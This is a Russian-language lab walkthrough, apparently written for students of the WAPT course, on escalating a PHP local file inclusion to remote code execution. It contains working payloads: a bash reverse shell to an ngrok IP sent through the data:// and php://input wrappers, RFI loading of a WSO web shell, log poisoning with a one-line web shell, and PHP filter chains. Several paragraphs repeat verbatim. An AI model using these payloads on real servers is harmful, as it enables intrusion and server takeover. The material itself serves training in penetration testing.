Всем привет!
Продолжаю цикл статей в помощь студентам курса WAPT. Здесь на самых простых тасках мы раскрываем некоторые секреты, которые могут помочь при решении более сложных задач, да и так, для общего развития пригодится.
Когда я писал отзыв о прохождении курса (КАК Я ПРОХОЖУ КУРС WAPT (КВЕСТ В РЕАЛЬНОМ ВРЕМЕНИ) - ЧАСТЬ 3), то считаю, что не объективно подошел к ее оценке и отнес к недостаточно сложным. На самом деле, тема довольно трудная и требует определенных знаний в языке PHP. Со временем эта оценка у меня поменялась и сейчас я хочу, в некотором роде, вернуть долг.
Уязвимость PHP injection – одна из распространенных скриптовых уязвимостей, которая встречается в приложениях, написанных на PHP языке. Заключается в исполнении постороннего кода на стороне сервера. Возникает уязвимость из-за недостаточной фильтрации входных данных от пользователей, в результате чего на сервера могут передаться и исполниться внешние или системные команды, которые приведут к утечке информации или полному контролю над сервером.
Сегодня для растерзания мы возьмем первую задачу из курса WAPT. Мы имеем сайт, где присутствует уязвимый параметр.
Когда я писал отзыв о прохождении курса (КАК Я ПРОХОЖУ КУРС WAPT (КВЕСТ В РЕАЛЬНОМ ВРЕМЕНИ) - ЧАСТЬ 3), то считаю, что не объективно подошел к ее оценке и отнес к недостаточно сложным. На самом деле, тема довольно трудная и требует определенных знаний в языке PHP. Со временем эта оценка у меня поменялась и сейчас я хочу, в некотором роде, вернуть долг.
Уязвимость PHP injection – одна из распространенных скриптовых уязвимостей, которая встречается в приложениях, написанных на PHP языке. Заключается в исполнении постороннего кода на стороне сервера. Возникает уязвимость из-за недостаточной фильтрации входных данных от пользователей, в результате чего на сервера могут передаться и исполниться внешние или системные команды, которые приведут к утечке информации или полному контролю над сервером.
Сегодня для растерзания мы возьмем первую задачу из курса WAPT. Мы имеем сайт, где присутствует уязвимый параметр.
Очевидно, что здесь подгрузка страниц осуществляется через параметр page. Если программист накосячит, то могут быть проблемы с безопасностью сайта и сервера в целом. Давайте попробуем прочитать через этот параметр один из системных файлов, например, /etc/passwd.
Так и есть. Приложение позволяет читать нам системные файлы, хорошо хотя бы не все.
В данном случае присутствует уязвимость LFI (Local File Inclusion), что позволяет нам читать локальные файлы на сервере.
В принципе, пока ничего страшного, ну прочитаем мы пару общедоступных файлов, ну узнаем мы «суперсекретную» информацию, что нам это даст?
Если вы начнете гуглить, то натолкнетесь на огромное количество ресурсов, где будет сказано, как из LFI получить RCE (Remote Code Execution), то есть удаленное выполнение кода. А вот это уже страшно.
Предлагаю посмотреть, сколькими способами мы можем это сделать на примере этого конкретного таска.
Через RFI
Очень часто там, где присутствует LFI может присутствовать и RFI (Remote File Inclusion), то есть чтение удаленных файлов. Если на целевой системе мы не можем открыть какой-нибудь полезный файл с вредоносным кодом, то попробуем подгрузить свой, например, веб-шелл или реверс-шелл. Но для начала нам нужно понять, что мы можем это сделать. Как? Давайте откроем страницу какого-либо стороннего сайта, например,
Ссылка скрыта от гостей
У нас открылась стартовая страница Яндекса. Значит здесь присутствует RFI, которую мы сейчас с вами проэксплуатируем.
Для начала создадим директорию, в которую будем кидать все, что нам пригодится в дальнейшем для загрузки на удаленные сервера, в том числе и веб-шеллы. И запустим в этой директории простой веб-сервер на Python.
А для того, чтобы разместить этот сервер в Интернет, воспользуемся сервисом Ngrok. В одной из следующих статей я подробнее пройдусь по этому сервису, а сейчас мы воспользуемся им только для пары случаев. Итак, запускаем команду:
ngrok http 1234
Как видим, ngrok будет перебрасывать запросы из Интернета на порт 1234 нашего локалхоста, где у нас поднят веб-сервер, со всей нужной нам приблудой. Проверим это, введя в адресной строке браузера полученный адрес ngrok.
Все отлично работает. Теперь нам осталось через уязвимость RFI подгрузить веб-шелл, например, wso.php и он у нас открывается.
Остается только ввести пароль, который нужно посмотреть в его исходном коде и можно пользоваться.
Доступ к файловой системе мы получили.
Что же делать, если мы можем читать локальные файлы, а удаленные не можем? Гуглим LFI to RCE. Найдется множество способов. Пойдем по порядку.
Через враппер data
PHP wrappers - это специальные протоколы, которые позволяют работать с файловыми функциями PHP, такими как fopen(), copy(), file_exists() и filesize(), используя различные URL-стили. Например, вы можете открыть файл на удаленном сервере с помощью протокола http или ftp. Врапперы могут быть очень полезны для пентеста веб-приложений, которые уязвимы для различных типов атак, таких как SQL-инъекции, XSS, RCE и другие.
Враппер data:// используется для встраивания данных в URL с помощью кодировки base64 или plain text. Прежде чем перейдем к использованию этого способа, проведем некоторую подготовительную работу.
Запустим команду ngrok tcp 4444, для создания туннеля. Ngrok будет принимать из сети соединение и отправлять его на порт 4444.
Враппер data:// используется для встраивания данных в URL с помощью кодировки base64 или plain text. Прежде чем перейдем к использованию этого способа, проведем некоторую подготовительную работу.
Запустим команду ngrok tcp 4444, для создания туннеля. Ngrok будет принимать из сети соединение и отправлять его на порт 4444.
Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
Теперь подготовим однострочный php реверс-шелл: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"); ?>
Получаем IP адрес нашего ngrok, путем пингования выданного нам адреса без tcp://
Теперь подготовим однострочный php реверс-шелл: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"); ?>
Получаем IP адрес нашего ngrok, путем пингования выданного нам адреса без tcp://
Вставляем IP и порт в наш реверс-шелл: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/18.158.249.75/12218 0>&1'"); ?>
Закодируем его в base64: PD9waHAgZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE4LjE1OC4yNDkuNzUvMTIyMTggMD4mMSciKTsgPz4=
А в уязвимый параметр в адресную строку сайта вставляем следующую нагрузку с враппером data:
data:text/html;base64,PD9waHAgZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE4LjE1OC4yNDkuNzUvMTIyMTggMD4mMSciKTsgPz4=
Если сейчас посмотрим в терминал, то увидим, что у нас открылось обратное соединение.
Через враппер php:// для потока input
Перехватываем запрос в Burp Suite и отправляем его в Repiter. В уязвимый параметр вставляем php://input, а в тело запроса добавляем реверс-шелл из предыдущего примера уже без всякого кодирования:
Отправляем запрос и получаем обратное соединение.
Через логи
Так как мы можем читать системные файлы, то мы можем читать и логи веб-сервера, на котором крутится сайт. Для начала нужно определить, какой веб-сервер запущен на целевом сервере. Воспользуемся Nmap.
У нас nginx. Один из логов находится по следующему пути /var/log/nginx/access.log. Открываем, а там…
Да это полная жесть. Как тут разобраться и не сломать себе мозг? Пробуем. Для начала, перехватываем запрос и отправляем его в Repiter. В User-Agent вместо того, что там написано вставляем однострочный веб-шелл <?php system($_GET[cmd]);?> и отправляем запрос.
На следующем шаге к файлу access.log добавляем параметр &cmd= и команду, например, ls –la /
И снова получили возможность запуска системных команд.
Через цепочку фильтров PHP
Ну и последний вариант, который мы сегодня рассмотрим, это использование цепочек фильтров. На просторах ГуглНета надыбал некую тузлу, которая называется php_filter_chain_generator, написанную на Python. Работает она так: в терминале запускаем команду: python3 php_filter_chain_generator.py --chain "<?php system('ls -la /');?>", которая генерирует цепочку фильтров PHP
Нужно просто скопировать весь вывод и вставить его в уязвимый параметр, и мы получим выполнение той команды, которую указали во входном параметре функции system.
Вариант конечно мутный, но имеет право на жизнь, если предыдущие не сработают. На этом, пожалуй, остановимся. Надеюсь что-то из рассмотренного нами вам поможет при решении практических задач в ходе прохождения курса WAPT.
Спасибо за внимание. До новых встреч!